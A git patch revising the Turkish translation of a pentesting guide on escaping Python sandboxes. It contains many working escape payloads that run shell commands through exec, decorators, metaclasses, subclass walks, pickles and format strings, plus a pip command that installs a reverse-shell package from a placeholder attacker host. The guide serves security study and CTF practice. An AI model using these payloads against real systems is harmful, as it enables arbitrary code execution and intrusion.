From a41634fb644380d897f19f4fb5616a335c5509c9 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 12:47:47 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/active-directory-methodology/acl- --- .../python/bypass-python-sandboxes/README.md | 190 ++++---- ...xpression-evaluation-rce-cve-2023-33733.md | 76 +-- .../pentesting-web/django.md | 58 +-- .../active-directory-methodology/README.md | 432 +++++++++--------- .../acl-persistence-abuse/README.md | 88 ++-- .../lansweeper-security.md | 78 ++-- 6 files changed, 456 insertions(+), 466 deletions(-) diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index a87fd1c94..7cd781253 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -Bunlar python sandbox korumalarını atlatmak ve rastgele komutlar çalıştırmak için bazı hilelerdir. +Bunlar python sandbox korumalarını bypass ederek arbitrary komutlar çalıştırmak için bazı hilelerdir. -## Komut Çalıştırma Kütüphaneleri +## Command Execution Libraries İlk bilmeniz gereken, halihazırda import edilmiş bir kütüphane ile doğrudan kod çalıştırıp çalıştıramayacağınız veya bu kütüphanelerden herhangi birini import edip edemeyeceğinizdir: ```python @@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -Unutmayın ki _**open**_ ve _**read**_ fonksiyonları python sandbox içinde dosyaları **okumak** ve sandbox'ı **bypass** etmek için **yürütülebilecek** bazı kodları **yazmak** amacıyla faydalı olabilir. +Unutmayın ki _**open**_ ve _**read**_ fonksiyonları, python sandbox içinde **dosyaları okumak** ve **çalıştırmak üzere bazı kodlar yazmak** için faydalı olabilir ve böylece sandbox'ı **bypass** etmeye çalışabilirsiniz. -> [!CAUTION] > **Python2 input()** function program çökmeden önce python kodu çalıştırmaya izin verir. +> [!CAUTION] > **Python2 input()** fonksiyonu, program çökmeden önce python kodu çalıştırmaya izin verir. -Python varsayılan olarak **önce mevcut dizinden kütüphaneleri yüklemeye çalışır** (aşağıdaki komut python'un modülleri nereden yüklediğini yazdırır): `python3 -c 'import sys; print(sys.path)'` +Python önce **kütüphaneleri mevcut dizinden yüklemeye çalışır** (aşağıdaki komut, python'un modülleri nereden yüklediğini yazdıracaktır): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) -## Bypass pickle sandbox with the default installed python packages +## Default kurulu python paketleri ile pickle sandbox'ı bypass etme ### Varsayılan paketler -Önceden yüklenmiş paketlerin **listesini** şurada bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -Not: pickle'ten python env'nin sistemde yüklü rastgele kütüphaneleri **import** etmesini sağlayabilirsiniz.\ -Örneğin, aşağıdaki pickle yüklendiğinde pip kütüphanesini kullanmak için import edecek: +You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +Dikkat: bir pickle sayesinde python env'in sistemde yüklü olan **herhangi bir kütüphaneyi import etmesini** sağlayabilirsiniz.\ +Örneğin, aşağıdaki pickle yüklendiğinde kullanmak üzere pip library'yi import edecek: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -66,32 +66,32 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` -pickle'in nasıl çalıştığı hakkında daha fazla bilgi için şunu inceleyin: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +pickle'in nasıl çalıştığı hakkında daha fazla bilgi için şunu kontrol edin: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) ### Pip paketi Hile **@isHaacK** tarafından paylaşıldı -Eğer `pip` veya `pip.main()`'e erişiminiz varsa, rastgele bir paket yükleyip şu çağrıyı yaparak reverse shell elde edebilirsiniz: +Eğer `pip` veya `pip.main()`'e erişiminiz varsa rastgele bir paket yükleyebilir ve şu çağrıyla bir reverse shell elde edebilirsiniz: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` -Reverse shell oluşturmak için paketi buradan indirebilirsiniz. Lütfen, kullanmadan önce **paketi açmanız, `setup.py`'yi değiştirmeniz ve reverse shell için IP'nizi girmeniz gerektiğini** unutmayın: +reverse shell oluşturmak için paketi buradan indirebilirsiniz. Lütfen, kullanmadan önce **paketi açmalı, `setup.py`'yi değiştirmeli ve reverse shell için IP'nizi koymalısınız**: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!TIP] -> Bu paket `Reverse` olarak adlandırılmıştır. Ancak, özel olarak tasarlanmıştır; reverse shell'den çıktığınızda yüklemenin geri kalan kısmı başarısız olur, böylece ayrıldığınızda **sunucuda ekstra hiçbir python package bırakmayacaksınız**. +> Bu paket `Reverse` olarak adlandırılmıştır. Ancak özel olarak hazırlanmıştır; reverse shell'den çıktığınızda kurulumun geri kalanı başarısız olur, bu yüzden ayrıldığınızda sunucuda ekstra herhangi bir python package kurulmuş bırakmazsınız. ## Eval-ing python code > [!WARNING] -> exec multiline strings ve ";" kullanımına izin verir, fakat eval izin vermez (walrus operator'ını kontrol edin) +> exec'in çok satırlı stringlere ve ";", karakterine izin verdiğini unutmayın, ancak eval izin vermez (check walrus operator) -Belirli karakterler yasaklanmışsa, kısıtlamayı **bypass** etmek için **hex/octal/B64** gösterimini kullanabilirsiniz: +Eğer bazı karakterler yasaklanmışsa, kısıtlamayı **aşmak** için **hex/octal/B64** temsilini kullanabilirsiniz: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -### eval python code çalıştırmaya izin veren diğer kütüphaneler +### Python kodunu eval etmeye izin veren diğer kütüphaneler ```python #Pandas import pandas as pd @@ -126,15 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` -Ayrıca gerçek dünyada PDF oluşturucularında görülen bir sandboxed evaluator kaçışına da bakın: +Ayrıca PDF generators'deki gerçek dünyadan bir sandboxed evaluator kaçışına bakın: -- ReportLab/xhtml2pdf triple-bracket [[[...]]] ifade değerlendirmesi → RCE (CVE-2023-33733). Bu, rl_safe_eval'i istismar ederek değerlendirilmiş özniteliklerden (örneğin, yazı tipi rengi) function.__globals__ ve os.system'e ulaşır ve görüntülemeyi istikrarlı tutmak için geçerli bir değer döndürür. +- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Bu, rl_safe_eval'i değerlendirilen özniteliklerden (örneğin, font color) function.__globals__ ve os.system'e ulaşmak için kötüye kullanır ve render'ın stabil kalması için geçerli bir değer döndürür. {{#ref}} reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}} -## Operatörler ve kısa püfler +## Operatörler ve kısa hileler ```python # walrus operator allows generating variable inside a list ## everything will be executed in order @@ -143,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` -## Kodlamalar aracılığıyla korumaların atlatılması (UTF-7) +## Kodlamalar yoluyla korumaları atlatma (UTF-7) -[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7, görünürde bir sandbox içinde keyfi python kodunu yüklemek ve çalıştırmak için kullanılmıştır: +Bu [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) içinde UFT-7, görünürdeki bir sandbox içinde keyfi python kodunu yüklemek ve çalıştırmak için kullanılmıştır: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -156,13 +156,13 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` -Bunu ayrıca başka kodlamalar kullanarak da atlatmak mümkündür, örn. `raw_unicode_escape` ve `unicode_escape`. +Ayrıca `raw_unicode_escape` ve `unicode_escape` gibi diğer kodlamalar kullanılarak da atlanabilir. -## Çağrı yapılmadan Python yürütme +## Çağrı yapmadan Python yürütme -Eğer çağrı yapmanıza izin verilmeyen bir python jail içindeyseniz, yine de **herhangi bir fonksiyonu, kodu** ve **komutları** yürütmenin birkaç yolu vardır. +Eğer bir python jail içindeyseniz ve **çağrı yapmanıza izin verilmiyorsa**, yine de **herhangi bir fonksiyonu, kodu** ve **komutları** çalıştırmanın bazı yolları vardır. -### RCE [decorators](https://docs.python.org/3/glossary.html#term-decorator) ile +### RCE ile [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -184,13 +184,13 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` -### RCE creating objects and overloading +### RCE ile nesne oluşturma ve overloading -Eğer bir **class** declare edip o class'tan bir **object** create edebiliyorsanız, farklı **methods** yazıp/overwrite ederek bunların doğrudan çağrılmasına gerek kalmadan tetiklenmelerini sağlayabilirsiniz. +If you can **declare a class** and **create an object** of that class you could **write/overwrite different methods** that can be **triggered** **without** **needing to call them directly**. #### RCE with custom classes -Bazı **class methods**'u (_mevcut **class methods**'larını overwrite etmek veya yeni bir **class** oluşturmak suretiyle_) değiştirerek, bunların doğrudan çağrılmadan tetiklendiğinde **execute arbitrary code** çalıştırmasını sağlayabilirsiniz. +You can modify some **class methods** (_by overwriting existing class methods or creating a new class_) to make them **execute arbitrary code** when **triggered** without calling them directly. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -242,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")') ``` #### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) ile nesneler oluşturma -metaclasses'in bize sağladığı temel şey, hedef class'ı metaclass olarak kullanarak yeni bir class oluşturarak **constructor'ı doğrudan çağırmadan bir instance oluşturmak**. +Metaclasses'in bize sağladığı temel şey, hedef sınıfı metaclass olarak kullanarak yeni bir sınıf oluşturmak suretiyle, **constructor'ı doğrudan çağırmadan bir sınıfın örneğini oluşturabilmektir.** ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -259,7 +259,7 @@ Sub['import os; os.system("sh")'] ``` #### İstisnalarla nesne oluşturma -Bir **istisna tetiklendiğinde** doğrudan constructor'ı çağırmanıza gerek kalmadan **Exception** sınıfından bir nesne **oluşturulur** ([**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)'den bir hile): +Bir **exception tetiklendiğinde**, **Exception** sınıfından bir nesne **oluşturulur**, yapıcıyı doğrudan çağırmanıza gerek kalmadan ([**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)'den bir hile): ```python class RCE(Exception): def __init__(self): @@ -301,7 +301,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### builtins help & license ile dosya oku +### builtins help & lisans ile dosyayı oku ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -315,21 +315,17 @@ pass - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) -Eğer **`__builtins__`** objesine erişebiliyorsanız kütüphaneleri import edebilirsiniz (burada son bölümde gösterilen diğer string gösterimlerini de kullanabileceğinizi unutmayın): +Eğer **`__builtins__`** nesnesine erişebiliyorsanız kütüphaneleri import edebilirsiniz (son bölümde gösterilen diğer string temsil biçimlerini burada da kullanabileceğinizi unutmayın): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` -### Builtins Yok +### Yerleşik Fonksiyonlar Yok -When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **all the global functions** (like `open`, `import`, `print`...) **aren't loaded**.\ -`__builtins__` yoksa hiçbir şey import edemezsiniz, hatta dosya okuyup yazamazsınız çünkü **tüm global fonksiyonlar** (örn. `open`, `import`, `print`...) **yüklenmemiştir**.\ +`__builtins__` yoksa hiçbir şeyi import edemez ve hatta dosyaları okuyup yazamazsınız çünkü **tüm global fonksiyonlar** (ör. `open`, `import`, `print`...) **yüklenmemiştir**.\ +Ancak, **varsayılan olarak python belleğe çok sayıda modül import eder**. Bu modüller zararsız görünebilir, ama bazılarının içinde erişilerek bile **arbitrary code execution** elde etmeye olanak veren tehlikeli işlevsellikler **da import edilmiş** durumdadır. -However, **by default python imports a lot of modules in memory**. These modules may seem benign, but some of them are **also importing dangerous** functionalities inside of them that can be accessed to gain even **arbitrary code execution**. -Ancak, **varsayılan olarak python belleğe birçok modül import eder**. Bu modüller masum görünebilir, fakat bazıları içinde erişilebilecek şekilde **tehlikeli** işlevsellikler de import eder ve bunlar aracılığıyla hatta **arbitrary code execution** elde edilebilir. - -In the following examples you can observe how to **abuse** some of this "**benign**" modules loaded to **access** **dangerous** **functionalities** inside of them. -Aşağıdaki örneklerde, belleğe yüklenmiş bu "**masum**" modüllerden bazılarını nasıl **suistimal** ederek içlerindeki **tehlikeli** **işlevselliklere** **erişebileceğinizi** görebilirsiniz. +Aşağıdaki örneklerde bu yüklenmiş "**benign**" modüllerden bazılarının içindeki tehlikeli işlevselliğe nasıl **suistimal** ederek **erişim** sağlanabileceğini görebilirsiniz. **Python2** ```python @@ -371,7 +367,7 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Aşağıda daha büyük bir fonksiyon var**](#recursive-search-of-builtins-globals) builtins'i bulabileceğiniz onlarca/**yüzlerce** **yer** bulmak için. +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) **builtins**'i bulabileceğiniz onlarca/**yüzlerce** **yer**i bulmak için. #### Python2 and Python3 ```python @@ -387,9 +383,9 @@ __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` -## Globals and locals +## Globals ve locals -Erişebileceklerinizi öğrenmek için **`globals`** ve **`locals`**'ı kontrol etmek iyi bir yoldur. +**`globals`** ve **`locals`**'ı kontrol etmek, hangi öğelere erişebileceğinizi bilmenin iyi bir yoludur. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -413,15 +409,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Aşağıda daha büyük bir fonksiyon var**](#recursive-search-of-builtins-globals) globals'ı bulabileceğiniz onlarca/**yüzlerce** **yeri** bulmak için. +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) **globals**'ı bulabileceğiniz onlarca/**yüzlerce** **yer** bulmak için. -## Keyfi yürütmeyi keşfetme +## Keyfi Kod Çalıştırmayı Keşfet -Burada **daha tehlikeli işlevlerin yüklü olduğunu** kolayca nasıl keşfedeceğimi ve daha güvenilir exploits önereceğimi açıklamak istiyorum. +Burada, yüklü olan **daha tehlikeli fonksiyonları** nasıl kolayca keşfedeceğimi ve daha güvenilir exploits önereceğimi açıklamak istiyorum. #### Bypass'larla alt sınıflara erişim -Bu tekniğin en hassas kısımlarından biri **base subclasses'a erişebilmek** yeteneğidir. Önceki örneklerde bu `''.__class__.__base__.__subclasses__()` kullanılarak yapılmıştı ancak **başka olası yollar** da vardır: +Bu tekniğin en hassas parçalarından biri, **base subclasses**'a erişebilme yeteneğidir. Önceki örneklerde bu `''.__class__.__base__.__subclasses__()` kullanılarak yapıldı, ancak **başka olası yollar** vardır: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -451,16 +447,16 @@ defined_func.__class__.__base__.__subclasses__() ``` ### Yüklenmiş tehlikeli kütüphaneleri bulma -Örneğin, **`sys`** kütüphanesiyle **import arbitrary libraries** yapılabildiğini biliyorsanız, içinde `sys` import edilmiş olan tüm **modules loaded** modüllerini arayabilirsiniz: +Örneğin, **`sys`** kütüphanesiyle **rastgele kütüphaneler import etmek** mümkün olduğunu bilerek, **içinde sys import etmiş tüm yüklenmiş modülleri** arayabilirsiniz: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -Birçok tane var, ve **sadece birine** komut çalıştırmak için ihtiyacımız var: +Çok var, ve **sadece birine** komut çalıştırmak için ihtiyacımız var: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -Aynı şeyi, **other libraries** ile de yapabiliriz; bunların **execute commands** için kullanılabildiğini biliyoruz: +Aynı şeyi **diğer kütüphanelerle** de yapabiliriz; bunların **komutları çalıştırmak** için kullanılabileceğini biliyoruz: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -495,7 +491,7 @@ Aynı şeyi, **other libraries** ile de yapabiliriz; bunların **execute command #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` -Ayrıca hangi modüllerin kötü amaçlı kütüphaneler yüklediğini bile arayabiliriz: +Üstelik hangi modüllerin kötü amaçlı kütüphaneler yüklediğini bile arayabiliriz: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: @@ -514,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -Ayrıca, eğer **diğer kütüphanelerin** **komut çalıştırmak için fonksiyonları çağırabilme** ihtimali olduğunu düşünüyorsanız, olası kütüphaneler içinde **fonksiyon isimlerine göre filtreleyebiliriz**: +Ayrıca, eğer **diğer kütüphanelerin** **komut çalıştırmak için fonksiyonları çağırabileceğini** düşünüyorsanız, olası kütüphaneler içinde **fonksiyon isimlerine göre filtreleyebiliriz**: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -547,10 +543,10 @@ execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """ ``` -## Builtins, Globals... için Özyinelemeli Arama +## Builtins, Globals... için özyinelemeli arama > [!WARNING] -> Bu gerçekten **harika**. Eğer **globals, builtins, open gibi bir obje arıyorsanız** sadece bu **script'i** kullanarak o objeyi bulabileceğiniz yerleri **özyinelemeli olarak bulun.** +> Bu gerçekten **harika**. Eğer **globals, builtins, open veya benzeri bir obje arıyorsanız** bu script'i kullanarak o objeyi bulabileceğiniz yerleri **özyinelemeli olarak bulabilirsiniz.** ```python import os, sys # Import these to find more gadgets @@ -666,7 +662,7 @@ print(SEARCH_FOR) if __name__ == "__main__": main() ``` -Bu scriptin çıktısını şu sayfada kontrol edebilirsiniz: +Bu scriptin çıktısını şu sayfada görebilirsiniz: {{#ref}} @@ -675,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and- ## Python Format String -Eğer **send** ettiğiniz bir **string** python'a **formatted** edilecekse, `{}` kullanarak **python internal information**'a erişebilirsiniz. Örneğin globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz. +Eğer python'a **göndereceğiniz** ve **biçimlendirilecek** bir **string** varsa, `{}` kullanarak **python iç bilgilerine** erişebilirsiniz. Önceki örnekleri globals veya builtins'e erişmek için kullanabilirsiniz. ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -695,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Bir nesnenin **özelliklerine** normal şekilde bir **nokta** ile (`people_obj.__init__`) ve tırnaksız köşeli parantezle **dict öğesine** (`__globals__[CONFIG]`) nasıl erişebileceğinize dikkat edin. +Format string'lerin nasıl bir nesnenin özniteliklerine normale bir şekilde **nokta** ile erişebileceğinizi ör. `people_obj.__init__` ve **dict elemanına** tırnaksız **köşeli parantez** ile erişebileceğinizi ör. `__globals__[CONFIG]` gösterdiğine dikkat edin. -Ayrıca bir nesnenin elemanlarını listelemek için `.__dict__` kullanabileceğinizi de unutmayın: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +Ayrıca bir nesnenin öğelerini listelemek için `.__dict__` kullanabileceğinizi unutmayın `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -Format string'lerin bazı diğer ilginç özelliklerinden biri, belirtilen nesne üzerinde **`str`**, **`repr`** ve **`ascii`** **fonksiyonlarını** sırasıyla **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırabilme** imkanıdır: +Format string'lerin bazı diğer ilginç özelliklerinden biri, belirtilen nesne üzerinde **`str`**, **`repr`** ve **`ascii`** **fonksiyonlarını** sırasıyla **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olanağıdır: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -Ayrıca, sınıflarda **yeni formatlayıcılar kodlamak** mümkündür: +Ayrıca, sınıflarda **code new formatters** oluşturmak mümkündür: ```python class HAL9000(object): def __format__(self, format): @@ -715,17 +711,17 @@ return 